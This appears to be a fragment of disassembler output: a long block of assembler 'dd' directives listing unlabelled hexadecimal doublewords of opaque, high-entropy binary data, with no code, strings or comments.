		dd 24F90CC5h, 80EC82ECh, 0DD097807h, 0A17BC89Dh, 19C5CA00h
		dd 31C01E58h, 5113002Ah, 88B6053Eh, 731D4FEBh, 0C0247DA0h
		dd 5C19FE00h, 0E8363C5h, 0DB9157D4h, 80D7C8A5h,	0C917234Eh
		dd 0C467F900h, 77416102h, 56D0063h, 45BF14EBh, 8C2743DAh
		dd 9F488587h, 8424A4h, 0ECF67489h, 6F69C071h, 7901817Ch
		dd 6046A99Ah, 0F45072DFh, 0C1285EDh, 7413641Fh,	6EF401D0h
		dd 11D5C600h, 6CF9C0C2h, 0AE38004Ah, 0E89760BAh, 0D0005FA5h
		dd 128D4CFBh, 7F8CF7Dh,	2CC118EFh, 3D3960D2h, 0ECED0CBCh
		dd 0F300243Eh, 0B81CD0B7h, 294112h, 87E881AAh, 95F81303h
		dd 0A254600h, 0C7403501h, 0F9509092h, 8A12786Dh, 80AC53B5h
		dd 26BDC8D8h, 6522BF00h, 40D4C495h, 179E012Eh, 47AE8230h
		dd 0F459D860h, 95514600h, 0A6082DE0h, 87FD067Fh, 0C4D4FA9Ch
		dd 0FB35D100h, 3C7D76B3h, 0DDE90002h, 0CD66BA49h, 0F00BB1A7h
		dd 8005E738h, 700C3F56h, 0DD9B05EAh, 0AFCE7696h, 0F12F1280h
		dd 40573C75h, 610BD83Eh, 0DC003227h, 0C6D0D99h,	0AC37200h
		dd 17F6EE12h, 0DF1D1C45h, 0C11100E3h, 98C60C2Ah, 8C979B00h
		dd 27CD6EEFh, 0D41D0268h, 4B806FF8h, 40107460h,	3E142800h
		dd 20BF4A86h, 0AE3B0018h, 0E8A9DFD5h, 0CA00EF41h, 0D78C9E8Eh
		dd 0B111FFh, 55F37134h,	90BA8BD8h, 840D7200h, 219D80C9h
		dd 76A41F06h
		dd 93F28053h, 47A7A26Dh, 5CCC6E25h, 3DB70025h, 0CDB271F6h
		dd 33CA93Ah, 28BCE938h,	7226E10Dh, 0BEE0A371h, 6A8F16A8h
		dd 56DB00A0h, 5E5D1BE1h, 0B203E600h, 9B8647DAh,	3B811217h
		dd 0A7CF00F9h, 0EBECAE63h, 65EAB900h, 531E0D4Ch, 970C1421h
		dd 7B00902Ch, 9C0AD435h, 4601925Ch, 372AA098h, 8730DA11h
		dd 0EE020029h, 0B1D7B07Ch, 0C900668Eh, 1F9713F7h, 3A36583h
		dd 948847B4h, 2C809E0Dh, 7A00339Ch, 2A626CDBh, 1FBE210Fh
		dd 4D275Eh, 0AC7BA3CFh,	4700CE09h, 6FFE22F9h, 0D13AE5h
		dd 0C2CF5658h, 744AF2D8h, 5C045400h, 0FC9ADA75h, 0F6A0000Ah
		dd 5EF52957h, 0E00037BDh, 42E2724Eh, 0C0031E71h, 0CF5A8438h
		dd 0F4A6755Dh, 12101C3Dh, 51001602h, 3482E5D1h,	2C727Bh
		dd 71ADCD4Dh, 4314B39Ah, 0FB07DA00h, 0B6BAC6F8h, 0A6770Bh
		dd 229B4B09h, 0E654E8CDh, 0DA423100h, 23B4F460h, 88EB17DEh
		dd 0C4F60952h, 190D5803h, 37B98D90h, 50C2C812h,	115C5402h
		dd 809C42F2h, 6DE45D2Ch, 58F748EAh, 1FE3B17h, 0F22FFFE3h
		dd 1900DBB7h, 2A40F86Dh, 382D569h, 0E1EA73FBh, 9AB0E64Dh
		dd 5D00EBA0h, 1BC76EAAh, 7A2A3629h, 4D4B0401h, 809D1193h
		dd 0C7333204h, 484A0900h, 291F9C9Bh, 57F8DBh, 87C61AE8h
		dd 0A4B63678h, 0E2B3CD00h, 0C1F7E94Ah, 0D8BF14EFh, 153CD4A5h
		dd 9E402C80h, 0C84F52BCh, 0F2B36C00h, 5F4CC4E5h, 8CE82Bh
		dd 0BBF00FDBh, 0D478EC1Ah, 0FD0B7B28h, 0B0253B00h, 36B948Ch
		dd 64AD00D0h, 4576E6A0h, 8D065951h, 4D08E478h, 82CA0029h
		dd 6DD70EC9h, 723CD27Ch, 0ECA50080h, 56BA7F0Dh,	0DE7FFDh
		dd 0BF450FAAh, 0A16BD1D2h, 4447F400h, 0C4AC5646h, 0A2531C17h
		dd 658F4038h, 0D09F066Dh, 3452B600h, 533B0F94h,	0BDB500CBh
		dd 0C4917F41h, 4500856Eh, 0E594FAE1h, 0FFDCF02h, 0C25CBC52h
		dd 8903DD03h, 438CD6C0h, 8F0032F8h, 0B6E0A80h, 0E354EDh
		dd 79EA9EB2h, 0FF6D1B35h, 0E187C900h, 0F8E84064h, 0D4D80E50h
		dd 38A0A970h, 0A6CA4A08h, 4FC78200h, 0E04C048Dh, 7F45050Ch
		dd 70FD97Bh, 27C7B530h,	0AD6B808Dh, 8661EC22h, 9493B718h
		dd 675184E0h, 83BB1081h, 20965A8Bh, 0B5264E00h,	9E38066Eh
		dd 8A89072Eh, 8122C91Bh, 0C86D467Ah, 0F50F83E6h, 8081C557h
		dd 334E306Bh, 71C0007Fh, 0B91E6245h, 0D205B506h, 5886C587h
		dd 0E0FF7A83h, 0B06612h, 0C6C6E65h, 9B410E75h, 0CFD19414h
		dd 8F8060ABh, 0EE7B6B29h, 0E5040080h, 3E63AB39h, 7300F5E4h
		dd 7225DFF0h, 919E1Ah, 0D1CA350Ch, 694A884Ch, 68080100h
		dd 77396FA9h, 180D0C5Ch, 22189F8Eh, 87070A00h, 0FF358AA4h
		dd 90597724h, 20956048h, 4F0EA97Fh, 0E235A0A0h,	0CF0AE90Ch
		dd 4BD93096h, 0B508A0D6h, 0BFAB00Dh, 4088183Dh,	1E3E79A2h
		dd 0EC078351h, 0C801B9Ah, 80691F42h, 0B37310Ah,	97B0E19Ch
		dd 3F986E13h, 0BCD4570Ch, 218167F4h, 30898DA8h,	51C008C0h
		dd 0B835C059h, 0D181695Eh, 0BE870157h, 0C6EC098Ah, 0D241CCB6h
		dd 9C125354h, 840378Eh,	47C71CEh, 71C263B3h, 0BBE38BE9h
		dd 3F1FE8F0h, 60D0A934h, 8C576000h, 2E7AABh, 5BEB40Bh
		dd 8A5A60E3h, 21C4E400h, 14C3252Dh, 0D8D6003Bh,	64C6A9E7h
		dd 1575DBFEh, 0F773A302h, 808CED05h, 5048BBEFh,	3022E861h
		dd 0BE70F9A4h, 0C730630Ah, 0D760B9B4h, 3527BF5h, 18B9126h
		dd 98A392CEh, 0DF72217Eh, 0ED526303h, 0F0AA8D30h, 0A5D6CFDh
		dd 8462BB83h, 0E586028Ch, 0BC8136EFh, 5196884Dh, 9CA1DB98h
		dd 0ED8A048h, 0E02C8050h, 28DF62B3h, 980890A6h,	210E4E80h
		dd 6FE5C87h, 0D2183561h, 29F8206Fh, 0F0FD8601h,	0CAB83473h
		dd 50453024h, 60D2A081h, 41241067h, 0BB0943A9h,	792D8E3h
		dd 3540A696h, 1F909Dh, 0B3F22B20h, 0A1692C25h, 60007A76h
		dd 647E2365h, 0CDDE96h,	513A22B7h, 0B5F0F734h, 312BE600h
		dd 49FEF621h, 85B00F35h, 0ED8FE1ADh, 3D36E300h,	5702C4DCh
		dd 67051310h, 44DA802Dh, 1619C56h, 2A9E3FBEh, 0DB146C1Ch
		dd 4D7ED90h, 2C90BF1Dh,	76D7D80h, 7E06373h, 0E5E961A6h
		dd 353B794h, 0FA8BA156h, 7983C4A0h, 185FBA01h, 9550CF6Ch
		dd 30E0D0h, 126ECBE9h, 0FCD11B2Bh, 0BB657801h, 0AF6471FFh
		dd 6A77A981h, 9FAD3CFBh, 85B90D20h, 86CE6CB5h, 0D0EDC7ABh
		dd 440A2C67h, 0FFFC2E00h, 4905EF96h, 0E2E10CACh, 0D7484352h
		dd 302E242Ch, 0B25BD001h, 198006CEh, 5A81F73Fh,	5801DF0Fh
		dd 115961B5h, 91D05C0Bh, 4AD406E2h, 311055E3h, 0CFEE2600h
		dd 92E92CCEh, 0E8FB00D8h, 98DF09FCh, 0F000F34Eh, 10379F26h
		dd 9C3D76h, 0C14D14B8h,	21EACCFDh, 1D5C4200h, 0AB3B1E72h
		dd 1F0E018Ch, 83A070D7h, 0CFBAF8D4h, 25C7EE00h,	86EBDCE2h
		dd 5801E884h, 0C100C5E0h, 0DED9496Ah, 0E3DC2E8h, 4C6D18CEh
		dd 0C3EF61h, 0E7BF01F9h, 0F807B288h, 68B07A00h,	3B9353ECh
		dd 3D7900BAh, 0EDFFDAFBh, 500AD6Eh, 760A974Dh, 785A44A5h
		dd 0D24F0EA8h, 0D8039A7Ah, 7800CCF9h, 0AEF7751h, 3BAB464h
		dd 1232EC93h, 0A8F9F565h, 1C89C0F3h, 0E7E6700h,	262BBD63h
		dd 0FE5B3051h, 4675C541h, 17DA900h, 0CA94D20Bh,	124418D4h
		dd 6A70F0C9h, 0D7F45126h, 0C050B900h, 7444521Bh, 0CE220C8Bh
		dd 0FD48FCCAh, 81CB2A00h, 94FFB779h, 2FD300B9h,	282E32F0h
		dd 4E036799h, 0E6DD53EFh, 624D08Fh, 60E15C55h, 61FDE000h
		dd 0C686DA6Ch, 497BAB7Ch, 0A86B0600h, 0AA470A57h, 4083002Fh
		dd 0A207DF2Ch, 0C1006F95h, 0EE5E5022h, 0F00AF043h, 0DB970F7Fh
		dd 480E23E6h, 0F41EAF74h, 3EA686ACh, 29E85834h,	160B9BF6h
		dd 8C1356F0h, 3EFC66Ah,	0CFAC02C2h, 680054B7h, 3D2BA4Bh
		dd 167B488h, 2782FE5h, 0F05EA1AFh, 7300C693h, 0D60FDCE4h
		dd 0F9A940AEh, 0FB3A270h, 0ACC80DADh, 0D3F65520h, 88C04945h
		dd 0CCCA4DDDh, 52923D6Fh, 4C885A2Ah, 0B861BF28h, 0D0293F50h
		dd 11C0FA4Ah, 7806F1AEh, 956900DEh, 89E165D6h, 0BFEEDD66h
		dd 5A189D1Ch, 0C72E0A83h, 37B806EFh, 0A8FC5E7Fh, 0FAAAF218h
		dd 93DD48h, 0B8E37CE5h,	9CC84D38h, 97D7D000h, 0BA44CA27h
		dd 0D64E0046h, 1C4A8C1Ah, 6474B92Eh, 88DA3C00h,	0EB01F862h
		dd 8D810C68h, 0CE08B813h, 4AD221C0h, 14024CF8h,	0E29E0DD9h
		dd 0EB8C5400h, 65FC7931h, 0C474060Ch, 623068h, 8E56DD33h
		dd 107E0280h, 0FFD33803h, 0DF79E270h, 53720068h, 0D93F614Ch
		dd 0A2477E01h, 2BB393C2h, 5948AEB0h, 2867C5E4h,	6E604220h
		dd 16EBA3C1h, 198C6B0Ch, 91DA717Dh, 6F805BD0h, 80E03AF8h
		dd 88B40CE3h, 0F80777B9h, 548AC17Eh, 23436881h,	0FD1B1F0h
		dd 0FEED60CAh, 0ADA9F740h, 0D9032A6Fh, 3595CB47h, 0EED4A841h
		dd 0D0980069h, 4B1C7C7Eh, 0B0186DBDh, 27616BB1h, 919900BCh
		dd 4BBA4E6Fh, 4370D8E9h, 0FA1FF33Dh, 59E86260h,	3A059234h
		dd 54037ED1h, 0CEEE4D2Dh, 0FC335800h, 0E7D52E26h, 6F0800F2h
		dd 1DEDC9Fh, 2000B30Dh,	63CD819Eh, 0EB24F3h, 0A604494Eh
		dd 0A82ECCE8h, 695DEE00h, 0A01A8642h, 4615034Dh, 1B389D43h
		dd 16373FA8h, 0C0FDCB2Dh, 0C38D4C2Bh, 3D09A09h,	0F3BE1000h
		dd 0F650C5DAh, 3F5400DEh, 0E19764BBh, 9D0086BDh, 7F98FCF4h
		dd 64D966B1h, 23BA28CAh, 4844FC9Eh, 4FC548F8h, 0FA8C8490h
		dd 0E433C44h, 8600B387h, 18B54EEAh, 42DC00FCh, 0A7113390h
		dd 17F209BFh, 0D407CF70h
		dd 0F871F79Dh, 0FA14610h, 9492008Ah, 0C0FAE3BCh, 0E3A0DE1h
		dd 7D2838EEh, 0AE6F9614h, 8C0376BFh, 0B7ACC426h, 0DF73D02Bh
		dd 659400C2h, 3EE7EFDEh, 77001A8Bh, 0D4CBC74Dh,	369DA84h
		dd 0C5BFCAF1h, 0EABB7B94h, 9C8A3A0h, 359948h, 0B10B7ADBh
		dd 7F0ED6E7h, 165700F1h, 6EABCF33h, 3F0075F2h, 5E2B3409h
		dd 7CD655E6h, 5BBE00A6h, 2945C219h, 52262C97h, 250C3CF2h
		dd 28F4DA27h, 2CC0C22h,	0CCDE0A6Bh, 0D080D6E1h,	552042CAh
		dd 8B46B300h, 3B0EC7A7h, 716B01BFh, 2C938F27h, 4D28C0D8h
		dd 30945000h, 0FC3246F6h, 0B2701BBCh, 45902092h, 12012E99h
		dd 0B02A2F52h, 86FC2031h, 5DFB0098h, 1DAB5354h,	0BA0055B7h
		dd 0A5C9B1C5h, 122C9D90h, 7B49151h, 0F0460A12h,	0B6D80255h
		dd 0B000FFB8h, 1B438224h, 1CC7F415h, 40B283BFh,	9FE7E4Ah
		dd 0B6505F73h, 5B302B9Ch, 0DBAF1AF5h, 0B471D63h, 0E50F4004h
		dd 85BA41E8h, 0DCF8EB00h, 37DEA02Bh, 3CA70083h,	0F1FE0D27h
		dd 4C00D055h, 6F42BAFAh, 1EB0F2E5h, 4084044Bh, 17A7FD65h
		dd 0CA001C02h, 8CE05186h, 1D61D3Ch, 81DA4E4Bh, 80E51E78h
		dd 0B90A1AD0h, 34AF70h,	7198CC4h, 36AA3AC6h, 82043Ah, 295ABBE6h
		dd 0EE5B2750h, 0C211FAF7h, 9824069Ch, 0AAA5C080h, 4107F275h
		dd 76A80C51h, 8C4C0069h, 720BEFF8h, 0FF49031Ch,	27FAB4E9h
		dd 5BEE7988h, 0FC0044E6h, 1319E029h, 468685h, 0BD321EE6h
		dd 26211BB9h, 0CB4A9800h, 434EE445h, 3EC09DCCh,	1600A476h
		dd 0E7F4AC9Fh, 51D62Eh,	68BAFEC2h, 38C5A51Ah, 24E4F00h
		dd 9B9F06B0h, 0C2F80E21h, 1D297E7h, 301D24FCh, 6DA02F38h
		dd 2BD1008Bh, 0BD77939h, 3400530Dh, 816D6410h, 9F5E402h
		dd 0EF862F77h, 8B40C820h, 0DC00FA62h, 53238CAEh, 58F25845h
		dd 40032ADh, 6E5FF688h,	0FC02DA24h, 0F554E16Bh,	108E155h
		dd 2D2770h, 5A05AC63h, 734FCF38h, 38D3038h, 1961A402h
		dd 8AC4F83Fh, 57560037h, 3E9EC580h, 8B002AABh, 0D778DE6Dh
		dd 0E62B2DCEh, 9CC900A2h, 31CD3871h, 0D100894Eh, 1658312h
		dd 0D384E1h, 3DADBF28h,	0C8A99BEFh, 320A3400h, 4FD11180h
		dd 4E5E077Bh, 0AE0FFDCDh, 0C4013580h, 43FCA6FFh, 6BCC640Fh
		dd 0C744C0EBh, 0CB9B78h, 16EEF49Ch, 91D7FB5Ch, 7422F00h
		dd 82C45095h, 6402005Fh, 3305CD1Fh, 9E07A24Ah, 0F4F60116h
		dd 92F39AA0h, 3C9B00BFh, 6964CB9Fh, 0CC00D7E3h,	0FC1CEAB2h
		dd 3E33584Dh, 0B4009A6Dh, 2CE99789h, 600BE776h,	0D00C0B48h
		dd 30280072h, 82F5B0AAh, 0BB00F959h, 85CE2726h,	3B861258h
		dd 79075A9Ch, 3017D262h, 885E3D0Ah, 84CFF100h, 0F06C704Fh
		dd 8FBF00CBh, 77B56F54h, 69001B18h, 350D1640h, 0E43C630Fh
		dd 5E6400ADh, 33A453A8h, 0C1077995h, 15A3B950h,	2CA19240h
		dd 0D64C1D8Ah, 796808Eh, 0F2F6C758h, 0E71C552Eh, 52516400h
		dd 1877D687h, 646127DCh, 0B10001A1h, 0E30D042Fh, 1D22050h
		dd 8B9D62E0h, 0E8DD7F60h, 0A90F580Ch, 0EF0F9833h, 182D400Dh
		dd 28B5A348h, 0A0C9BEh,	92C54EC3h, 0AC66DBCBh, 8A0BB80Fh
		dd 0AE3B80FBh, 736BC694h, 0A8C0042Fh, 807FECABh, 0A0FB844h
		dd 62D4D101h, 79B1938h,	14E56EC4h, 0A0843211h, 5962500h
		dd 2A8CABE6h, 9A451A00h, 5C0ABD30h, 3BC8008Ah, 61DD9890h
		dd 0F60039FEh, 0F72A3D07h, 13AADAh, 0EF6BD49Ah,	8A11502Eh
		dd 8900B7E0h, 16D71B62h, 151F2F7h, 2E383170h, 0ECDC6FEFh
		dd 0FF24737Ch, 69003C5Dh, 0DA49118Dh, 3CBA0202h, 0FCCE36EDh
		dd 0D18B4141h, 0D78FC0FFh, 33E58800h, 16E7D003h, 32503FA6h
		dd 0DC807A06h, 0E9A12089h, 0CE8D404Bh, 7F005AC7h, 8F35A615h
		dd 7E0CA29Bh, 12DD0042h, 3C38250h, 8E07D92Ch, 191E99D1h
		dd 95F5E9D0h, 2096009Bh, 62849A34h, 2300CCB1h, 61AA52D4h
		dd 147DDEh, 8F5B4CB0h, 7469D30h, 0D07E5E00h, 0B4A1ACFh
		dd 24850070h, 0EFA01733h, 4F00C1EAh, 0DD43B06h,	60FDC5h
		dd 5985D6CBh, 15501BFAh, 7BA6AE00h, 0BED85A5Ch,	708D000Fh
		dd 6516968Ah, 9D00A59Fh, 7377F9B7h, 0B8F5373Bh,	0C6900B14h
		dd 0D800A28Ah, 0D4EB32D9h, 2AB0590Fh, 1AA52420h, 674E8080h
		dd 0FC5B00C4h, 0A23DF92Bh, 7E00E215h, 0D12EDDE8h, 0FDD435h
		dd 0C10D30CEh, 4D03ECE7h, 543ADE00h, 0E508B91Ah, 509816h
		dd 0F57BD868h, 494C35E7h, 0DE77960Eh, 9821E3E9h, 0FE418915h
		dd 90C5E8h, 268BBA6Bh, 0EA3DAA2Ah, 73681600h, 66B26221h
		dd 88C8001Ch, 0A5B5C9DDh, 0B4005BABh, 476CC387h, 7B28D0h
		dd 2C7ADBCh, 0CE1E9C73h, 4B13DDE0h, 7200AC19h, 59685052h
		dd 3C2B07ABh, 90D076B6h, 0CE51537Eh, 88F31100h,	0D76E2607h
		dd 0E17F077Dh, 0B9805ED9h, 4959A800h, 564860B5h, 254200CEh
		dd 0EDFD4447h, 0A737006Ch, 0EC8D9EBAh, 76263428h, 93803CE3h
		dd 4F20A0B2h, 47A900F4h, 77DA043Eh, 8A0CD22Bh, 0ECEF5E21h
		dd 7A200087h, 0F2652E5Dh, 6400DD1Ch, 0B4F4BCCAh, 1FAD3CC5h
		dd 40885C87h, 0EF1BE11Fh, 0DA003235h, 0ECE9AC64h, 0E7F19D1Ah
		dd 0EDF03431h, 28DB0096h, 0FA1C845Ah, 0BB98EA51h, 0EFA7C607h
		dd 5B857201h, 0FB6D18C0h, 30AD008Fh, 486F1652h,	28036449h
		dd 7B06CBE0h, 971C8C8h,	13B81DE2h, 7B7E8F1h, 0DDF95162h
		dd 0A4E00E6Fh, 0AF9F6742h, 60D88707h, 0B9F007DFh, 3869A9CDh
		dd 3E309C97h, 0E9D7B811h, 68884216h, 0BF4E505h,	0AA728200h
		dd 9A2C1A7Fh, 0FCC20030h, 0F9AD23B6h, 63010E84h, 0D1B0415Dh
		dd 0F0CFC571h, 392C5B8Fh, 7D934A88h, 6CC482Bh, 81458500h
		dd 53A40Bh, 8618935Ah, 0D7DA3837h, 0E6834700h, 0F8085C3Ah
		dd 25CA00ECh, 1A4F04D3h, 0D800856Fh, 584BD936h,	0C85BDFh
		dd 3BA4E767h, 72B34CFCh, 0A4ED753Bh, 14090F15h,	3C48A07Eh
		dd 379E8FEh, 6BC16963h,	9AC9F19Fh, 0CB10877Dh, 2AC04AA0h
		dd 902CDBF3h, 1CC90D0h,	59E80B2h, 0E89068EAh, 217ED37Ch
		dd 1F2D8F00h, 1AB108C2h, 294B3A78h, 0D1536800h,	660C19BDh
		dd 90DFF1C5h, 0C8AAC683h, 19959EC1h, 28174E41h,	0AB399B4Fh
		dd 0BEC1D880h, 14DF42F2h, 0E241F19h, 2074B2E4h,	0C2DA1789h
		dd 285D0097h, 900943D8h, 0B400DB35h, 51C3647Bh,	226831h
		dd 6ED96506h, 44C1ED1Ah, 45001CEAh, 310D9D03h, 1E6C8D84h
		dd 8076274Ch, 0E86F4D54h, 7A0066A6h, 884A74D4h,	3D12901h
		dd 43F57690h, 9AB0F97Ch, 0ED001160h, 0C6E8FD3Dh, 0FBA27Ah
		dd 0D159AC39h, 0AFB8DE62h, 10862603h, 0B86F1F47h, 7ADA92Fh
		dd 9DB5B780h, 0E0F08790h, 0FCA706CAh, 0B91E590Bh, 70020CC8h
		dd 0E0F6DBh, 9E3C17ECh,	2508B0D8h, 8F3D0C00h, 0A83E164Ch
		dd 0ACE00076h, 10DD05FEh, 5F0027E4h, 32C19626h,	0F00891h
		dd 4F469023h, 8F6068F7h, 29783360h, 32EF5Bh, 20219857h
		dd 1285A4CCh, 70118A00h, 0B8EE74B3h, 0D11F0008h, 3BE0B5F5h
		dd 7500D61Bh, 0C82CE2A9h, 0A8308843h, 2A6B8Ch, 17380959h
		dd 49466A86h, 88E9F518h, 705020h, 26A45DF9h, 0DDB7E6B2h
		dd 0A1693C01h, 0B949F68Dh, 0FFE9A8EFh, 0D0E7319Ch, 80948CA0h
		dd 85C12EA9h, 3A8AC37Dh, 4A004D10h, 88F8BA40h, 0AEE820A3h
		dd 0A605CC00h, 0AD280F52h, 3B710054h, 70150D66h, 2201A54Ah
		dd 0D5DD55E0h, 0E0E34720h, 0F689088h, 0BC5F0689h, 2D8564C0h
		dd 0B600B01Eh, 0A81D46Fh, 31DD0F5Bh, 0D0296643h, 19370056h
		dd 7D28009Fh
		dd 0EF2B53D8h, 2A0045CAh, 0C45A1436h, 5B3A49h, 0DB6A7C95h
		dd 924E0878h, 0C7B9F700h, 0A2E1F118h, 7C75B0B3h, 0F2CF00EDh
		dd 0E2630246h, 97076740h, 8D6AE447h, 68D2C9D0h,	0EABFF084h
		dd 1497618h, 4B193632h,	0DBC33A4Fh, 97FBF4D8h, 963D3400h
		dd 0F841CAF9h, 9BC40107h, 1CCFD1D2h, 0E8A8CFF5h, 0D830C955h
		dd 126F1966h, 2E41008Dh, 0AA45E682h, 8C07BF07h,	1EA29C6Ch
		dd 80052CC2h, 1AB3DFA0h, 0C25F0775h, 0E098BC85h, 8C718BB1h
		dd 9078AF00h, 5305CA8Fh, 227F009Ah, 87CE5A6Ch, 0C50E45CBh
		dd 0BD068DDDh, 272F3CC0h, 1326E6FDh, 0EC9AFFA5h, 0B38600BAh
		dd 961A33F8h, 2E3C00B2h, 0CEA4A9B7h, 720375DBh,	0DCA373ADh
		dd 0B5C4E086h, 53EE77h,	0B18EE51Ah, 0DA8248DFh,	0B6423C00h
		dd 5F69D879h, 25A4009Ah, 0A8D13E5Eh, 0A1B0F44Ch, 2257FF00h
		dd 0E75294B6h, 89A40011h, 0A239FCA3h, 240F99B7h, 0C53562h
		dd 5AE270F2h, 24A348A7h, 14063300h, 0E6EEE6Bh, 29FFEA1Dh
		dd 130081D7h, 7D4E3CFBh, 23EC00F0h, 0AFA69188h,	5400217Bh
		dd 34080B64h, 3DCF304Fh, 38004AADh, 4C47A53Dh, 0D6002286h
		dd 7CAE70Ch, 2FF2C0D4h,	50C05771h, 263CFBDAh, 91D5001Eh
		dd 82CDAE87h, 9F5900D6h, 2D633EC7h, 4C00A4E6h, 64E85E4Bh
		dd 0B8ADAB81h, 0DACA00D0h, 52795791h, 0A100B74Eh, 0B37360C5h
		dd 26255396h, 7EBC462h,	0F0FA6B70h, 4C3610F7h, 44DCEC16h
		dd 8B1B0B00h, 30DE393h,	52D83FE6h, 1790D363h, 4D54B379h
		dd 0BA035F8Ch, 623B2F97h, 0B441B8CAh, 0C2040348h, 4A3C9A93h
		dd 7D517CD8h, 1DE50B00h, 0BACDD808h, 85A71242h,	4170079h
		dd 0C3112FC8h, 0CB41380Fh, 7A00BFC9h, 0AD56078h, 0F266735Fh
		dd 0CA870017h, 80BF250Bh, 3D02DB18h, 4D7A507h, 0A48F40D0h
		dd 0E2BE3B59h, 384AB200h, 2C87EE9Fh, 1D010498h,	11B35448h
		dd 8080DCB0h, 929ACEB6h, 0AE1FFC1Ch, 0CD80A888h, 66FF7B18h
		dd 0F1455119h, 7C56BFE0h, 2B7A7Eh, 0ED44C517h, 2E79CF83h
		dd 9A716832h, 702C60EEh, 0C69A0101h, 0A88D2AB1h, 5EB84069h
		dd 570013A7h, 0A11F2832h, 0FCD92E06h, 88FC003Eh, 8B451E0Bh
		dd 46098EE7h, 80947B9Eh, 0A5631AA9h, 0C5D50002h, 57828C8h
		dd 68C04B25h, 12188BA8h, 0A294063Ch, 981A19D8h,	3B41A91Dh
		dd 0CB07C8E8h, 9E98F903h, 81AAE300h, 0FE621D3Ah, 0F8FBC0C4h
		dd 401E0148h, 8A3F7B00h, 6655D047h, 0D287002Eh,	21E66249h
		dd 2F026E14h, 9801CC91h, 0B31A408Fh, 0C87A0018h, 2380D3C3h
		dd 920010E7h, 608E5CE5h, 306A74A2h, 0AB8E283Dh,	1F04D935h
		dd 932FC7A7h, 0E39050C0h, 71593888h, 0DA849Ch, 0C410C11Eh
		dd 0F706F076h, 464A0635h, 0D11800E8h, 0A1DD82C0h, 0C2002802h
		dd 1B3D988Dh, 0FC80Eh, 2604B7D3h, 84236FF2h, 352AB000h
		dd 5BB9622h, 955000AAh,	8BD8D8Ah, 0DE000FC3h, 0C411C9A0h
		dd 0E4AE3A5Fh, 0A40A3BF5h, 0DE90A0FCh, 2001008Dh, 7024C139h
		dd 150142FCh, 4718AE30h, 71E502A9h, 0B8E5E4ECh,	0D0CE03EEh
		dd 0CAA0383Dh, 8C014BC8h, 0EB72DC1Ch, 20078B0Fh, 46A974C0h
		dd 0D9A326DBh, 0A2E8008Bh, 7342099h, 0EC522E07h, 21A0D656h
		dd 0C3D4EBEFh, 0F3FBA484h, 0DF9AC398h, 48F75839h, 771E079Ch
		dd 1163732Dh, 0C32800FDh, 0DD1AB095h, 55006A8Ah, 7B2F163Ah
		dd 0AA6D03h, 0E06EE1A7h, 0C449727Fh, 9040FF02h,	4832921Dh
		dd 881058h, 0C641ECFDh,	3353F944h, 0CFD38900h, 22AE81B2h
		dd 0D04E0007h, 46D93F7Ah, 0D2418FDh, 5180602Ch,	44A7FF37h
		dd 0E2A200CDh, 0A68B257Dh, 4200B96Bh, 465C8AB4h, 3F93A7BBh
		dd 75DDE5h, 0FB1DF2D5h,	0F9AFCD9Fh, 8366A00h, 0B9AE1F14h
		dd 38880025h, 0A3B5156h, 424CDED1h, 80333C4Fh, 0E1252A04h
		dd 36B85A6h, 482C5BF5h,	0EC80788Eh, 1216AB45h, 1600370Dh
		dd 696FD302h, 549A7Ch, 81FA5B4Ah, 0A81141E0h, 84C0E500h
		dd 0F0557D80h, 0D3A9260Fh, 0B7D701E5h, 0E84E42A7h, 4C7D0BC3h
		dd 5DE33900h, 7B6E553Eh, 0EABF005Bh, 6775D2CCh,	7A2CE2C7h
		dd 0FA079472h, 0E7C0475Ch, 504E29h, 0B131FFC8h,	0CC6C8A71h
		dd 0B870163Ch, 0FED5821Ah, 0EB3D9545h, 0ACC7E148h, 10E2440h
		dd 75C81D66h, 5EDE0190h, 0C0F06E95h, 8F03854Eh,	11634077h
		dd 0B7C5C019h, 200F006Fh, 0AA62ADFAh, 2051506h,	0F3C8A1FFh
		dd 9874B4C0h, 79230366h, 3FFA46A6h, 820DA2F8h, 64D160CAh
		dd 8C0C4E4h, 6EA422h, 77A7518Bh, 86F00C8Dh, 24A8A154h
		dd 5D79EC13h, 804C3E0Eh, 85654BA0h, 869C000Dh, 0BDDAAFEBh
		dd 72E6F25Ch, 0A309DF2h, 0C57AAEBBh, 0E8450082h, 557F710Dh
		dd 3601C698h, 2A9010A7h, 8F45759h, 0F77500FFh, 0A365C738h
		dd 0F900EAD8h, 86691D2Bh, 51685Bh, 0CEA28056h, 0CD0B2D73h
		dd 6D1A9804h, 1AAA95Eh,	6495E2A8h, 21ECE825h, 45ED9A13h
		dd 218FB70Eh, 4643E306h, 88C6F8h, 0F19E60F8h, 86A02E7Eh
		dd 99C1AB00h, 1C1072FFh, 0A5E40506h, 40310A27h,	3BC66AD8h
		dd 320AFEBAh, 0C8C70419h, 2152303Ah, 3BDF98h, 8A2F5679h
		dd 80228439h, 6F897A03h, 873AFF74h, 93090630h, 18A36594h
		dd 0A6F2814Eh, 7066F002h, 91F1890h, 7E1437B5h, 618D48EBh
		dd 1CAD2A61h, 0D3007028h, 1E207FA8h, 3400DC6Ch,	441BA75Dh
		dd 48B9086Fh, 0FF06125Fh, 68991D9Bh, 0F3038C7Dh, 0D87D2476h
		dd 0E2F1F1A9h, 26385980h, 0A775104Ah, 85C76900h, 4FD08F0Ch
		dd 94403FD9h, 0CF186B58h, 822B18DDh, 500AC7Ah, 97A56788h
		dd 7D3596h, 0E73119F8h,	0B110FAB4h, 57BC6600h, 65029A3Dh
		dd 23DD0098h, 277BD4F1h, 61E66E4Ah, 0A9FCFB09h,	6FFA80CBh
		dd 0F54CBDh, 0D28A8C20h, 0C12AE102h, 0F0030AFEh, 2C1FE048h
		dd 0C3FA8890h, 0B46C00BAh, 30DF79DEh, 3D003FB1h, 56341D22h
		dd 3B2BC1AEh, 79000FB6h, 4CAAB84Dh, 5B0E4427h, 8048A9E6h
		dd 49D1B59Dh, 66810087h, 0D0BA9441h, 0C912EF90h, 0BF0082DAh
		dd 9BCB0984h, 60DD000Fh, 39B22C20h, 0CF09D1B7h,	6AC872h
		dd 0D95D0E4Dh, 6F2F00E9h, 0F86D4C07h, 9B00B3A3h, 6E193F8Bh
		dd 9F5DEAh, 88CA4838h, 1ED53705h, 0A50A7802h, 0C2EA6D1Dh
		dd 1035C385h, 1C4F7A30h, 9BC0ABD2h, 1ED702B2h, 5E82006Dh
		dd 0DDB14CCEh, 0C560E222h, 7251628h, 0F7450056h, 8E509DAAh
		dd 5F019E8Bh, 0FC31AFD6h, 6EC7ECAh, 0C5DC05EEh,	83B7441Ah
